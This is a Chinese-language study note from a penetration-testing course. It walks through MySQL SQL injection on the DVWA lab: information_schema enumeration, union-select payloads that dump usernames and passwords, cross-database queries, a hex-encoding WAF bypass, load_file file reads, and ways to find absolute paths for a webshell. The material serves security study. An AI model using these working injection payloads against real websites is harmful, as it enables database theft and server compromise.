第42天:漏洞利用-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

access无数据库用户

mysql里面有内置的管理用户,其中root就是默认的数据库管理员用户

网站上面的数据库都在mysql中,由root或一对一用户去管理

1
2
3
4
5
6
7
8
9
10
11
12
13
1、数据库统一管理(root用户)
每个网站的数据库都是由root用户统一管理

2、数据库一对一管理(不同用户)
每一个数据库都是有对应的用户进行管理。
例子:
网站A: 数据库用户zblog--->zblog(数据库)
网站B:数据库用户demo--->demo01(数据库)


不同模式,进行注入的区别;
1、如果都是统一管理的方案,一个网站的数据库有注入,同服务器的其他数据库一起遭殃,而且因为是root,所以还可以读文件,写文件。提权。
2、如果是数据库一对一管理,那么一个网站有注入,那么只有这个网站会GG,也不会影响到其他数据库,而且因为是低权限用户的原因,所以也写不了文件,读不了文件。
  • root用户:先测试读写,后测试获取数据
  • 非root用户:直接测试获取数据
1
这里我个人是倾向于,先去获取数据,然后在测试读写,因为可以尝试进入后台,这样就会有更多的机会得到绝对路径和写shell的机会。

access注入和mysql注入的结构区别

1
2
3
4
5
6
7
8
9
10
11
12
access注入 只能靠字典去猜,有可能猜不到表名。

mysql
数据库名A
表名
列名(字段)
数据

Access(单个)
表名
列名(字段)
数据

注入的前需要获取的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
介绍几个常用函数:
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
6. @@basedir——获取数据库安装目录


1、数据库版本 看是否符合 information_schema 查询 version()
2、数据库用户 看是否符合 ROOT 型注入攻击 user()
3、当前操作系统 看是否支持大小写或文件路径选择 --@@version_compile_os
4、数据库名字 为后期猜解指定数据库下的表,列做准备 database()

必要知识点

1
2
3
4
5
6
7
必要知识点:
在MySQL5.0以上版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储记录所有的数据库名,表名,列名的数据库也相当于可以通过查询他获取指定数据库下面的表名或列名信息

数据库中符号:“.“代表下一级,如xiao.user表示xiao数据库下的user表名
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
也就是说如果不靠他,那么表名和列名都是靠猜

Mysql一次完整的注入流程:

1
2
3
4
5
6
7
8
9
10
Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****

这里我用dvwa这个靶场进行举例子吧:

猜字段

1
order by 2--+

image-20250807204217819

1
union select 1,2--+

image-20250807204417879

获取基本信息,库名

image-20250807204131584

1
1' union select database(),@@datadir--+

image-20250807204506223

获取表名

1
2
3
4
5
6
7
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'--+

#解析语句
获取来自dvwa这个库中的所有的表名。如果这里不加group_concat()就是获取一个表

#盲点:
这里ID等于-1,尝试了一下,有的时候确实需要等于-1,其实就是让前面的这个语句不成立(使其报错),但是有的时候,就算是正确的也可以正确执行

image-20250807205542918

获取列名

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20250807205933876

获取数据

1
1' union select user,password from users--+

image-20250807210548271

控制结果条数输出

1
1' union select user,password from users limit 3,1--+

image-20250807210907944

跨库查询

上面的流程是在一个数据库中进行查询,但是通过查询user得知目前管理这个网站的用户是root,所以可以进行跨库查询。

image-20250807211437494

1
1' union select 1,group_concat(schema_name) from information_schema.schemata --+

这样就可以得到所有的库,后续的操作和上面的流程一样就行。但是到最后查询数据的时候有一点区别

1
2
#由于是跨库所以这里在进行查询的时候,需要带上库。这里为了不麻烦所以这里直接查数据
1' union select username,password from security.users --+

image-20250807211921078

image-20250807212029428

绕过的小tips——HEX

有时候WAF,会对一些关键字,特殊符号进行过滤。所以这个时候,就看一下能不能绕过了。 这次的小技巧就是将一些特殊字符进行十六进制转换达到绕过的目的,因为mysql是支持对十六进制的数据的接收的。

1
2
3
1' union select username,0x70617373776f7264 from security.users --+

# 0x前缀用于指示后续的字符串是十六进制值。

image-20250807212721049

image-20250807212734758

MYSQL-SQL文件读写

1
2
3
4
5
6
前置条件:
1、必须是root用户
2、文件路径必须正确且可访问
3、文件必须位于 MySQL 服务器本地
4、文件大小不能超过 max_allowed_packet 限制
5、secure_file_priv 要允许

image-20250807214722841

image-20250807214916706

在c盘下面创建一个1.txt,然后尝试对其进行读取:

image-20250807214948785

可以看到正常读取。

1
2
3
4
1' union select 1,load_file('c:\\1.txt') --+
#这种要写两个反斜杠是为了转义
或者:
1' union select 1,load_file('c:/1.txt') --+

image-20250807215041540

如何知道绝对路径

1
2
3
4
5
6
7
1、@@datadir——数据库路径
2、phpinfo页面
3、报错页面,有可能会爆出网站的绝对路径
4、利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难,这种方式要么利用任意文件读取,要么就可以直接使用sql注入查到 )

#总结:
路径获取常见方法:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

报错显示

就是在网站url上或者其他地方,输入一些不存在的东西,使其报错

遗留文件

有的网站的以前的文件可能会被百度快照记录下来,这里就要用到谷歌语法,进行精确搜索,有一定的几率可以有所收货

漏洞报错

一种是知道目标的网站是用什么进行搭建的,比如说常见的系统织梦,帝国等等,然后直接百度搜索让其爆路径的方法,或者网站有其他的管理平台phpadmin之类的,然后就可以用谷歌进行搜索:phpadmin 报错

平台配置文件

这个就需要结合上面说的 “读取文件的操作” ,但是这种方法一般不太实用,这种是根据环境决定的,一般是用目标的网站的搭建的默认环境,然后访问对应的配置文件的默认路径。然后使其报错。

爆破

使用一些工具对网站进行扫描爆破